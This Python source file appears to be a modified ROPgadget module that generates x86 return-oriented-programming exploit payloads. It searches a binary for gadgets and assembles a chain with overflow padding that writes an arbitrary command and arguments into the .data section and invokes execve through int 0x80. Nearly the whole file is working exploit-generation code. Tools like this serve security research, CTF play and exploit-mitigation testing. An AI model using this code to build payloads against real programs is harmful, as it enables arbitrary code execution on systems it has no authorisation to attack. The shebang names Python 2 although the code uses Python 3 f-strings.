f92b6e9ccd
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com> Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
353 lines
12 KiB
Python
353 lines
12 KiB
Python
#!/usr/bin/env python2
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## -*- coding: utf-8 -*-
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##
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## Jonathan Salwan - 2014-05-13
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##
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## http://shell-storm.org
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## http://twitter.com/JonathanSalwan
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##
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import re
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from capstone import *
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import sys
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import math
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from struct import pack
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class ROPMakerX86(object):
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def __init__(self, binary, gadgets, paddingLen, outFile, exec, liboffset=0x0):
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self.__binary = binary
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self.__gadgets = gadgets
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self.paddingLen = paddingLen
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self.outFile = outFile
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self.exec = exec
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# If it's a library, we have the option to add an offset to the addresses
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self.__liboffset = liboffset
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self.__generate()
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def __lookingForWrite4Where(self, gadgetsAlreadyTested):
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for gadget in self.__gadgets:
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if gadget in gadgetsAlreadyTested:
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continue
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f = gadget["gadget"].split(" ; ")[0]
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# regex -> mov dword ptr [r32], r32
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regex = re.search("mov dword ptr \[(?P<dst>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))\], (?P<src>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))$", f)
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if regex:
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lg = gadget["gadget"].split(" ; ")[1:]
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try:
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for g in lg:
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if g.split()[0] != "pop" and g.split()[0] != "ret":
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raise
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# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
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if g != "ret":
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if g.split()[0] == "ret" and g.split()[1] != "":
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raise
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# print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
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return [gadget, regex.group("dst"), regex.group("src")]
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except:
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continue
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return None
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def __lookingForSomeThing(self, something):
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for gadget in self.__gadgets:
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lg = gadget["gadget"].split(" ; ")
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if lg[0] == something:
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try:
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for g in lg[1:]:
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if g.split()[0] != "pop" and g.split()[0] != "ret":
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raise
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# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
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if g != "ret":
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if g.split()[0] == "ret" and g.split()[1] != "":
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raise
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# print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
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return gadget
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except:
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continue
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return None
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def __padding(self, gadget, regAlreadSetted):
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p = b""
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lg = gadget["gadget"].split(" ; ")
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for g in lg[1:]:
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if g.split()[0] == "pop":
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reg = g.split()[1]
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try:
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p = pack("<I", regAlreadSetted[reg])
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except KeyError:
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p = pack("<I", 0x41414141)
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return p
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def __write4bytes(self, address, data, data_addr, popDst, popSrc, write4where):
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p = pack("<I", popDst['vaddr'])
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p += pack("<I", address)
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p += self.__padding(popDst, {})
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p += pack("<I", popSrc['vaddr'])
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p += data
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p += self.__padding(popSrc, {popDst["gadget"].split()[1]: data_addr}) # Don't overwrite reg dst
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p += pack("<I", write4where['vaddr'])
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p += self.__padding(write4where, {})
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return p
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def __write4nulls(self, address, popDst, xorSrc, write4where):
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p = pack("<I", popDst['vaddr'])
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p += pack("<I", address)
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p += self.__padding(popDst, {})
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p += pack("<I", xorSrc["vaddr"])
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p += self.__padding(xorSrc, {})
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p += pack("<I", write4where["vaddr"])
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p += self.__padding(write4where, {})
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return p
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def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
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sects = self.__binary.getDataSections()
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dataAddr = None
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for s in sects:
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if s["name"] == ".data":
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dataAddr = s["vaddr"] + self.__liboffset
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if dataAddr == None:
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print("\n# [-] Error - Can't find a writable section")
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return
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print(f"dataAddr = 0x{dataAddr:08x}")
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print(f"int 0x80 = 0x{syscall['vaddr']:08x}")
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# prepend padding
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p = bytes('A' * self.paddingLen, "ascii")
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command = self.exec[0]
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# split command into chunks of 4, prepend with /s as necessary
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command = padding_len(len(command)) * "/" + command
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command_chunks = wrap(command, 4)
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## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ##
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args = self.exec[1:]
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chunked_args = []
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for arg in args:
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arg = arg + padding_len(len(arg)) * "!"
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print(arg)
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chunked_args.append(wrap(arg, 4))
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print(chunked_args)
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# & ( "cat" \0 )
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exec_addr = dataAddr
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# setup argv array
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# [ & "--run" \0 , & "--verbose" \0 ]
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# note that the null bytes may be written "earlier", when the string is not len % 4 == 0
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arg_addr = []
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acc_addr = exec_addr + len(command) + 4
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for i, arg in enumerate(args):
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arg_addr.append(acc_addr)
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acc_addr += len(arg) + padding_len(len(arg)) + 4
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# & ( [ ptr -> "cat" ] ++ arg_addr )
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argv_addr = acc_addr
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env_addr = argv_addr + (len(args) * 4) + 4
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del acc_addr
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###################
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# WRITE EXEC PATH #
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###################
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# write the command
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for i, chunk in enumerate(command_chunks):
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address = exec_addr + (i * 4)
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# write 4 char chunk of the command
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p += self.__write4bytes(
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address,
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bytes(chunk, "ascii"),
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dataAddr, popDst, popSrc, write4where
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)
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# write null byte after exec path string
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p += self.__write4nulls(
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exec_addr + len(command),
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popDst, xorSrc, write4where
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)
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##########################
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# Write Argument Strings #
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##########################
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for i, arg in enumerate(chunked_args):
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this_arg_addr = arg_addr[i]
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for j, chunk in enumerate(arg):
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address = this_arg_addr + (j * 4)
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# write 4 char chunk of the command
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p += self.__write4bytes(
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address,
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bytes(chunk, "ascii"),
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dataAddr, popDst, popSrc, write4where
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)
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p += self.__write4nulls(
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this_arg_addr + len(args[i]),
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popDst, xorSrc, write4where
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)
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####################
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# Write Argv Array #
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####################
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# write argv[0] = exec_addr
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p += self.__write4bytes(
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argv_addr,
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pack('<I', exec_addr),
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dataAddr, popDst, popSrc, write4where
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)
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for i, address in enumerate(arg_addr):
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p += self.__write4bytes(
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argv_addr + ((i + 1) * 4),
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pack('<I', address),
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dataAddr, popDst, popSrc, write4where
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)
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# write null byte after argv array
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p += self.__write4nulls(
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argv_addr + (len(args) * 4) + 4,
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popDst, xorSrc, write4where
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)
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##################################
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# Setup execve Args in Registers #
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##################################
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# ebx = exec_path
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p += pack("<I", popEbx["vaddr"])
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p += pack("<I", exec_addr) # @ .data
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p += self.__padding(popEbx, {})
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# ecx = ptr_to_argv
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p += pack('<I', popEcx["vaddr"])
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p += pack('<I', argv_addr)
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p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
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# edx = _ (empty for env vars)
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p += pack('<I', popEdx["vaddr"])
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p += pack('<I', env_addr)
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p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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# eax = 0
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p += pack('<I', xorEax["vaddr"])
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p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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# eax ++-> 11
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for i in range(11):
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p += pack('<I', incEax["vaddr"])
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p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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p += pack('<I', syscall["vaddr"])
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with open(self.outFile, "wb") as f:
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f.write(p)
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def __generate(self):
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# To find the smaller gadget
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self.__gadgets.reverse()
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# print("\n# ROP chain generation\n# ===========================================================")
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# print("\n# - Step 1 -- Write-what-where gadgets\n")
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gadgetsAlreadyTested = []
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while True:
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write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
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if not write4where:
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print("# [-] Can't find the 'mov dword ptr [r32], r32' gadget")
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return
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popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
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if not popDst:
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print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
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gadgetsAlreadyTested += [write4where[0]]
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continue
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popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
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if not popSrc:
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print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
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gadgetsAlreadyTested += [write4where[0]]
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continue
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xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
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if not xorSrc:
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print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
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gadgetsAlreadyTested += [write4where[0]]
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continue
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else:
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break
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# print("\n# - Step 2 -- Init syscall number gadgets\n")
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xorEax = self.__lookingForSomeThing("xor eax, eax")
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if not xorEax:
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print("# [-] Can't find the 'xor eax, eax' instruction")
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return
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incEax = self.__lookingForSomeThing("inc eax")
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if not incEax:
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print("# [-] Can't find the 'inc eax' instruction")
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return
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# print("\n# - Step 3 -- Init syscall arguments gadgets\n")
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popEbx = self.__lookingForSomeThing("pop ebx")
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if not popEbx:
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print("# [-] Can't find the 'pop ebx' instruction")
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return
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popEcx = self.__lookingForSomeThing("pop ecx")
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if not popEcx:
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print("# [-] Can't find the 'pop ecx' instruction")
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return
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popEdx = self.__lookingForSomeThing("pop edx")
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if not popEdx:
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print("# [-] Can't find the 'pop edx' instruction")
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return
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# print("\n# - Step 4 -- Syscall gadget\n")
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syscall = self.__lookingForSomeThing("int 0x80")
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if not syscall:
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print("# [-] Can't find the 'syscall' instruction")
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return
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# print("\n# - Step 5 -- Build the ROP chain\n")
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self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)
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# def round_n(x, n):
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# return int(math.ceil(x / n) * n)
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def padding_len(x):
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return -(x % -4)
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def wrap(str, n):
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return [ str[i:i + n] for i in range(0, len(str), n) ]
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